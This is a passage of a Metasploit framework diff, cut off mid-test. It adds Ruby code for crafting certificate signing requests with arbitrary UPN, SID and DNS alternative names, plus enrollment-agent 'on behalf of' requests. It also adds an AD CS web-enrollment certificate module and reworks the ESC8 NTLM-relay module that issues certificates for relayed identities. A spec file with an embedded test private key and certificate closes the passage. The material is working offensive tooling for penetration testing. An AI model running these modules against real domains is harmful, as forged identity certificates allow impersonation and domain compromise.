7cb723f0fb..0a6325a5c5 100644 --- a/lib/rex/proto/x509/request.rb +++ b/lib/rex/proto/x509/request.rb @@ -1,5 +1,17 @@ module Rex::Proto::X509 + # [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71) + OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze + # [2.2.2.7.5 szOID_NT_PRINCIPAL_NAME](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/ea9ef420-4cbf-44bc-b093-c4175139f90f) + OID_NT_PRINCIPAL_NAME = '1.3.6.1.4.1.311.20.2.3'.freeze + # [[MS-WCCE]: Windows Client Certificate Enrollment Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-winerrata/c39fd72a-da21-4b13-b329-c35d61f74a60) + OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1'.freeze + # [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec) + OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1'.freeze + # [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378) + OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze + SAN_URL_PREFIX = "tag:microsoft.com,2022-09-14:sid:" + class Request def self.create_csr(private_key, cn, algorithm = 'SHA256') request = OpenSSL::X509::Request.new @@ -13,6 +25,139 @@ module Rex::Proto::X509 request.sign(private_key, OpenSSL::Digest.new(algorithm)) request end + # Make a certificate signing request. + # + # @param [String] cn The common name for the certificate. + # @param [OpenSSL::PKey] private_key The private key for the certificate. + # @param [String] dns An alternative DNS name to use. + # @param [String] msext_sid An explicit SID to specify for strong identity mapping. + # @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature). + # @param [String] algorithm The algorithm to use when signing the CSR. + # @param [Array] application_policies OIDs to add as application policies. + # @return [OpenSSL::X509::Request] The request object. + def self.build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: []) + Rex::Proto::X509::Request.create_csr(private_key, cn, algorithm) do |request| + extensions = [] + + subject_alt_names = [] + subject_alt_names << "otherName = #{OID_NT_PRINCIPAL_NAME};UTF8:#{msext_upn}" if msext_upn + + if msext_sid + subject_alt_names << "URI = #{SAN_URL_PREFIX}#{msext_sid}" + subject_alt_names << "URI = #{msext_sid}" + end + + subject_alt_names << "DNS = #{dns}" if dns + + unless subject_alt_names.empty? + # factory.create_extension accepts a comma separated list of SANs or a config file of SANs. + # SAN_URL_PREFIX in the URI SAN contains a comma so we create a config file and add it to the factory + # The config file requires an identifier we define at the top of the file [alt_names] + subject_alt_names.prepend("[alt_names]") + subject_alt_names_conf = subject_alt_names.join("\n") + config = OpenSSL::Config.parse(subject_alt_names_conf) + factory = OpenSSL::X509::ExtensionFactory.new + factory.config = config + extensions << factory.create_extension('subjectAltName', '@alt_names', false) + end + + if msext_sid + ntds_ca_security_ext = Rex::Proto::CryptoAsn1::NtdsCaSecurityExt.new(OtherName: { + type_id: OID_NTDS_OBJECTSID, + value: msext_sid + }) + extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false) + end + + unless application_policies.blank? + application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new( + certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) } + ) + extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false) + end + + unless extensions.empty? + request.add_attribute(OpenSSL::X509::Attribute.new( + 'extReq', + OpenSSL::ASN1::Set.new( + [OpenSSL::ASN1::Sequence.new(extensions)] + ) + )) + end + end end + # Make a certificate request on behalf of another user. + # + # @param [OpenSSL::X509::Request] csr The certificate request to make on behalf of the user. + # @param [String] on_behalf_of The user to make the request on behalf of. + # @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request. + # @param [OpenSSL::PKey::RSA] key The private key to use for signing the request. + # @param [String] algorithm The digest algorithm to use. + # @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content. + def self.build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') + # algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined + digest = OpenSSL::Digest.new(algorithm) + unless [ digest.name, "RSAWith#{digest.name}" ].all? { |s| Rex::Proto::Kerberos::Model::OID.constants.include?(s.to_sym) } + raise ArgumentError, "Can not map digest algorithm #{digest.name} to the necessary OIDs." + end + + digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name) + + signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new( + version: 1, + sid: { + issuer: cert.issuer, + serial_number: cert.serial.to_i + }, + digest_algorithm: { + algorithm: digest_oid + }, + signed_attrs: [ + { + attribute_type: OID_ENROLLMENT_NAME_VALUE_PAIR, + attribute_values: [ + RASN1::Types::Any.new(value: Rex::Proto::CryptoAsn1::EnrollmentNameValuePair.new( + name: 'requestername', + value: on_behalf_of + )) + ] + }, + { + attribute_type: Rex::Proto::Kerberos::Model::OID::MessageDigest, + attribute_values: [RASN1::Types::Any.new(value: RASN1::Types::OctetString.new(value: digest.digest(csr.to_der)))] + } + ], + signature_algorithm: { + algorithm: Rex::Proto::Kerberos::Model::OID.const_get("RSAWith#{digest.name}") + } + ) + data = RASN1::Types::Set.new(value: signer_info[:signed_attrs].value).to_der + signature = key.sign(digest, data) + + signer_info[:signature] = signature + + signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new( + version: 3, + digest_algorithms: [ + { + algorithm: digest_oid + } + ], + encap_content_info: { + econtent_type: Rex::Proto::Kerberos::Model::OID::PkinitAuthData, + econtent: csr.to_der + }, + certificates: [{ openssl_certificate: cert }], + signer_infos: [signer_info] + ) + + Rex::Proto::CryptoAsn1::Cms::ContentInfo.new( + content_type: Rex::Proto::Kerberos::Model::OID::SignedData, + data: signed_data + ) + end + + end end + diff --git a/modules/auxiliary/admin/http/web_enrollment_cert.rb b/modules/auxiliary/admin/http/web_enrollment_cert.rb new file mode 100644 index 0000000000..bb8b12e9bd --- /dev/null +++ b/modules/auxiliary/admin/http/web_enrollment_cert.rb @@ -0,0 +1,160 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::WebEnrollment + include Msf::Auxiliary::Scanner + + def initialize(_info = {}) + super({ + 'Name' => 'AD/CS Authenticated Web Enrollment Services Module', + 'Description' => %q{ + Authenticates to the AD/CS Web enrollment service and allows the user to query templates and create + certificates based on available templates. + }, + 'Author' => [ + 'bwatters-r7', + 'jhicks-r7', # query for available certs + 'Spencer McIntyre' + ], + 'License' => MSF_LICENSE + }) + deregister_options('HttpUsername', 'HttpPassword') + register_options([ + Opt::RPORT(80), + OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']), + OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']), + OptEnum.new('MODE', [ true, 'The issue mode.', 'SPECIFIC_TEMPLATE', %w[ALL QUERY_ONLY SPECIFIC_TEMPLATE]]), + OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]), + OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ]) + ]) + register_advanced_options([ + OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ]) + ]) + @issued_certs = {} + end + + def validate + super + case datastore['MODE'] + when 'SPECIFIC_TEMPLATE' + if datastore['CERT_TEMPLATE'].blank? + raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' }) + end + when 'ALL', 'QUERY_ONLY' + unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? + print_warning('CERT_TEMPLATE is ignored in ALL and QUERY_ONLY modes.') + end + end + setup + end + + def pull_domain(target_ip, target_uri) + temp_username = datastore['HttpUsername'] + temp_password = datastore['HttpPassword'] + begin + vprint_status("Checking #{target_ip} URL #{target_uri}") + # datastore and options must be nil to fail login so we get ntlm challenge + datastore['HttpUsername'] = nil + datastore['HttpPassword'] = nil + res = send_request_cgi({ + 'rhost' => target_ip, + 'encode' => true, + 'username' => nil, + 'password' => nil, + 'uri' => normalize_uri(target_uri), + 'method' => 'GET', + 'headers' => { 'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==' } + }) + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + vprint_error('Unable to Connect') + return + rescue ::Timeout::Error, ::Errno::EPIPE + vprint_error('Timeout error') + return + ensure + datastore['HttpUsername'] = temp_username + datastore['HttpPassword'] = temp_password + end + datastore['HttpUsername'] = temp_username + datastore['HttpPassword'] = temp_password + + return nil if res.nil? + + unless res && res.code == 401 + print_bad("Incorrect status code returned checking for domain: #{res.code}") + return nil + end + unless res['WWW-Authenticate'] + print_bad('Target does not appear to support Windows Authentication.') + return nil + end + unless res['WWW-Authenticate'].match(/^NTLM/i) + print_bad('Target does not appear to support NTLM.') + return nil + end + + hash = res['WWW-Authenticate'].split('NTLM ')[1] + return nil if hash.nil? + + # Parse out the NTLM and get the Target Information Data containing the domain name + + begin + message = Net::NTLM::Message.parse(Base64.decode64(hash)) + ti = Net::NTLM::TargetInfo.new(message.target_info) + ti.av_pairs[Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME] + rescue StandardError => e + vprint_error("Failed to parse NTLM challenge: #{e.class}: #{e}") + nil + end + end + + def run_host(target_ip) + validate + if datastore['HTTP::Auth'] == 'ntlm' || datastore['HTTP::Auth'] == 'auto' + queried_domain = pull_domain(target_ip, target_uri) + if queried_domain.nil? + fail_with(Failure::UnexpectedReply, 'Failed to automatically populate DOMAIN; please do so manually and retry') + end + + # The queried_domain value is coming is as a UTF-16LE string encoded in ASCII 8-bit. + # We need to normalize it so we can do the string compares later + datastore_domain = datastore['DOMAIN'] + queried_domain.force_encoding('UTF-16LE') + queried_domain = queried_domain.encode(datastore_domain.encoding) + + if datastore['DOMAIN'] != 'WORKSTATION' && queried_domain != datastore_domain + fail_with(Failure::UnexpectedReply, "Server claims to be a member of #{queried_domain} domain and does not match the datastore domain entry #{datastore['DOMAIN']}") + end + connection_identity = queried_domain + '\\' + datastore['HttpUsername'] + end + http_client = connect( + { + 'rhost' => target_ip, + 'method' => 'GET', + 'uri' => normalize_uri(target_uri), + 'headers' => { + 'Accept-Encoding' => 'identity' + } + } + ) + case datastore['MODE'] + when 'ALL', 'QUERY_ONLY' + cert_templates = get_cert_templates(http_client) + unless cert_templates.nil? || cert_templates.empty? + print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***') + print_good("Available Certificates for #{connection_identity} on #{datastore['RHOST']}: #{cert_templates.join(', ')}") + if datastore['MODE'] == 'ALL' + retrieve_certs(target_ip, http_client, connection_identity, cert_templates) + end + end + when 'SPECIFIC_TEMPLATE' + cert_template = datastore['CERT_TEMPLATE'] + retrieve_cert(target_ip, http_client, connection_identity, cert_template) + end + end + +end diff --git a/modules/auxiliary/server/relay/esc8.rb b/modules/auxiliary/server/relay/esc8.rb index 8c7568dfbc..f413d0ea76 100644 --- a/modules/auxiliary/server/relay/esc8.rb +++ b/modules/auxiliary/server/relay/esc8.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Auxiliary include ::Msf::Exploit::Remote::SMB::RelayServer include ::Msf::Exploit::Remote::HttpClient + include ::Msf::Exploit::Remote::HTTP::WebEnrollment def initialize(_info = {}) super({ @@ -27,6 +28,7 @@ class MetasploitModule < Msf::Auxiliary ], 'License' => MSF_LICENSE, 'Actions' => [[ 'Relay', { 'Description' => 'Run SMB ESC8 relay server' } ]], + 'DefaultOptions' => { 'HTTP::Auth' => 'ntlm' }, 'PassiveActions' => [ 'Relay' ], 'DefaultAction' => 'Relay' }) @@ -44,6 +46,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), ] ) + @issued_certs = {} end def relay_targets @@ -87,22 +90,28 @@ class MetasploitModule < Msf::Auxiliary end def validate - super + errors = {} + unless datastore['HTTP::Auth'] == 'ntlm' + errors['HTTP::Auth'] = 'This module only supports NTLM authentication.' + end case datastore['MODE'] when 'SPECIFIC_TEMPLATE' if datastore['CERT_TEMPLATE'].blank? - raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' }) + errors['CERT_TEMPLATE'] = 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE.' end when 'ALL', 'AUTO', 'QUERY_ONLY' unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? print_warning('CERT_TEMPLATE is ignored in ALL, AUTO, and QUERY_ONLY modes.') end end + + raise OptionValidateError, errors unless errors.empty? + + super end def run - @issued_certs = {} relay_targets.each do |target| vprint_status("Checking endpoint on #{target}") check_code = check_host(target.ip) @@ -119,125 +128,27 @@ class MetasploitModule < Msf::Auxiliary end def on_relay_success(relay_connection:, relay_identity:) + target_ip = relay_connection.target.ip case datastore['MODE'] when 'AUTO' cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User'] - retrieve_certs(relay_connection, relay_identity, cert_template) + retrieve_certs(target_ip, relay_connection, relay_identity, cert_template) when 'ALL', 'QUERY_ONLY' cert_templates = get_cert_templates(relay_connection) unless cert_templates.nil? || cert_templates.empty? print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***') print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}") if datastore['MODE'] == 'ALL' - retrieve_certs(relay_connection, relay_identity, cert_templates) + retrieve_certs(target_ip, relay_connection, relay_identity, cert_templates) end end when 'SPECIFIC_TEMPLATE' cert_template = datastore['CERT_TEMPLATE'] - retrieve_cert(relay_connection, relay_identity, cert_template) + retrieve_cert(target_ip, relay_connection, relay_identity, cert_template) end vprint_status('Relay tasks complete; waiting for next login attempt.') relay_connection.disconnect! end - def create_csr(private_key, cert_template) - vprint_status('Generating CSR...') - request = Rex::Proto::X509::Request.create_csr(private_key, cert_template) - vprint_status('CSR Generated') - request - end - - def get_cert_templates(relay_connection) - print_status('Retrieving available template list, this may take a few minutes') - res = send_request_raw( - { - 'client' => relay_connection, - 'method' => 'GET', - 'uri' => normalize_uri(target_uri, 'certrqxt.asp') - } - ) - return nil unless res&.code == 200 - - cert_templates = res.body.scan(/^.*Option Value="[E|O];(.*?);/).map(&:first) - print_bad('Found no available certificate templates') if cert_templates.empty? - cert_templates - end - - def add_cert_entry(relay_identity, cert_template) - if @issued_certs.key?(relay_identity) - @issued_certs[relay_identity] << cert_template - else - @issued_certs[relay_identity] = [ cert_template ] - end - end - - def retrieve_certs(relay_connection, relay_identity, cert_templates) - cert_templates.each do |cert_template| - retrieve_cert(relay_connection, relay_identity, cert_template) - end - end - - def cert_issued?(relay_identity, cert_template) - !!@issued_certs[relay_identity]&.include?(cert_template) - end - - def retrieve_cert(relay_connection, relay_identity, cert_template) - if cert_issued?(relay_identity, cert_template) - print_status("Certificate already created for #{relay_identity} using #{cert_template}, skipping...") - return nil - end - - vprint_status("Creating certificate request for #{relay_identity} using the #{cert_template} template") - private_key = OpenSSL::PKey::RSA.new(4096) - request = create_csr(private_key, cert_template) - cert_template_string = "CertificateTemplate:#{cert_template}" - vprint_status('Requesting relay target generate certificate...') - res = send_request_raw( - { - 'client' => relay_connection, - 'method' => 'POST', - 'uri' => normalize_uri(datastore['TARGETURI'], 'certfnsh.asp'), - 'ctype' => 'application/x-www-form-urlencoded', - 'vars_post' => { - 'Mode' => 'newreq', - 'CertRequest' => request.to_s, - 'CertAttrib' => cert_template_string, - 'TargetStoreFlags' => 0, - 'SaveCert' => 'yes', - 'ThumbPrint' => '' - }, - 'cgi' => true - } - ) - if res&.code == 200 && !res.body.include?('request was denied') - print_good("Certificate generated using template #{cert_template} and #{relay_identity}") - add_cert_entry(relay_identity, cert_template) - else - print_bad("Certificate request denied using template #{cert_template} and #{relay_identity}") - return nil - end - - location_tag = res.body.match(/^.*location="(.*)"/)[1] - location_uri = normalize_uri(target_uri, location_tag) - vprint_status("Attempting to download the certificate from #{location_uri}") - res = send_request_raw( - { - 'client' => relay_connection, - 'method' => 'GET', - 'uri' => location_uri - } - ) - info = "#{relay_identity} Certificate" - certificate = OpenSSL::X509::Certificate.new(res.body) - pkcs12 = OpenSSL::PKCS12.create('', '', private_key, certificate) - stored_path = store_loot('windows.ad.cs', - 'application/x-pkcs12', - relay_connection.target.ip, - pkcs12.to_der, - 'certificate.pfx', - info) - print_good("Certificate for #{relay_identity} using template #{cert_template} saved to #{stored_path}") - certificate - end end diff --git a/spec/lib/msf/core/exploit/remote/cert_request_spec.rb b/spec/lib/msf/core/exploit/remote/cert_request_spec.rb new file mode 100644 index 0000000000..83058be3c5 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/cert_request_spec.rb @@ -0,0 +1,366 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'msf/core/exploit/remote/cert_request' + +RSpec.describe Msf::Exploit::Remote::CertRequest do + include_context 'Msf::Simple::Framework' + + subject do + mod = ::Msf::Exploit.new + mod.extend described_class + mod + end + + before(:each) do + allow(subject).to receive(:framework).and_return(framework) + allow(subject).to receive(:vprint_status) + end + + let(:rsa_key) do + OpenSSL::PKey::RSA.new(<<~KEY) + -----BEGIN RSA PRIVATE KEY----- + MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN + Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM + MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI + G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7 + 3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6 + B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9 + OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX + pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm + /hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs + 5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx + VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h + SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94 + MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX + xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5 + hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g + m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ + /NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt + NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib + KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M + IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG + 2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe + VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+ + syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8 + aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO + C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA== + -----END RSA PRIVATE KEY----- + KEY + end + + let(:pkcs12_certificate) do + OpenSSL::X509::Certificate.new(<<~CERTIFICATE) + -----BEGIN CERTIFICATE----- + MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF + ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs + YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx + MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk + ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs + ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG + SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9 + j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg + 6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l + l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD + jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx + idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4 + MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU + uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk + YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL + ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z + ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq + ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv + MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD + Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 + cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq + ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw + PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX + hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG + CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH + AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud + EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp + ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB + oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx + MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC + AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx + 2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp + rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN + 3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL + bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu + bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ + MPqLl/D4OpKpcKz8 + -----END CERTIFICATE----- + CERTIFICATE + end + + describe '#create_csr' do + context 'with a private key supplied via opts' do + it 'returns an OpenSSL::X509::Request' do + result = subject.create_csr(username: 'alice', private_key: rsa_key) + expect(result).to be_a(OpenSSL::X509::Request) + end + + it 'signs the CSR with the provided key' do + result = subject.create_csr(username: 'alice', private_key: rsa_key) + expect(result.verify(rsa_key.public_key)).to be true + end + + it 'sets the CN to the provided username' do + result = subject.create_csr(username: 'alice', private_key: rsa_key) + expect(result.subject.to_s).to include('alice') + end + + context 'when the key size matches the expected rsa_key_size' do + it 'does not log an error' do + expect(subject).not_to receive(:elog) + subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 2048) + end + + it 'returns a CSR' do + result = subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 2048) + expect(result).to be_a(OpenSSL::X509::Request) + end + end + + context 'when the key size does not match the expected rsa_key_size' do + it 'logs an error' do + expect(subject).to receive(:elog).with('RSA key size mismatch') + expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError) + end + + it 'raises ArgumentError' do + expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError, /RSA key size mismatch/) + end + + it 'does not build a CSR' do + expect(Rex::Proto::X509::Request).not_to receive(:build_csr) + expect { subject.create_csr(username: 'alice', private_key: rsa_key, rsa_key_size: 4096) }.to raise_error(ArgumentError) + end + end + + context 'when the key size does not match the datastore rsa_key_size' do + before { subject.datastore['RSAKeySize'] = '4096' } + + it 'raises ArgumentError' do + expect { subject.create_csr(username: 'alice', private_key: rsa_key) }.to raise_error(ArgumentError, /RSA key size mismatch/) + end + end + end + + context 'when no private key is supplied' do + it 'generates a new RSA key' do + expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_return(rsa_key) + subject.create_csr(username: 'alice') + end + + it 'returns a valid OpenSSL::X509::Request' do + result = subject.create_csr(username: 'alice') + expect(result).to be_a(OpenSSL::X509::Request) + end + end + + context 'with rsa_key_size supplied via opts' do + it 'generates a key with the specified size' do + allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096)) + expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key) + subject.create_csr(username: 'alice', rsa_key_size: 4096) + end + end + + context 'with rsa_key_size supplied via datastore' do + before { subject.datastore['RSAKeySize'] = '4096' } + + it 'generates a key with the datastore size' do + allow(rsa_key).to receive(:n).and_return(double('OpenSSL::BN', num_bits: 4096)) + expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_return(rsa_key) + subject.create_csr(username: 'alice') + end + end + + context 'with algorithm supplied via opts' do + it 'passes the algorithm to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA512')).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key, algorithm: 'SHA512') + end + end + + context 'with algorithm supplied via datastore' do + before { subject.datastore['DigestAlgorithm'] = 'SHA512' } + + it 'passes the datastore algorithm to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA512')).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key) + end + end + + context 'with alt_dns supplied via opts' do + it 'passes alt_dns to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(dns: 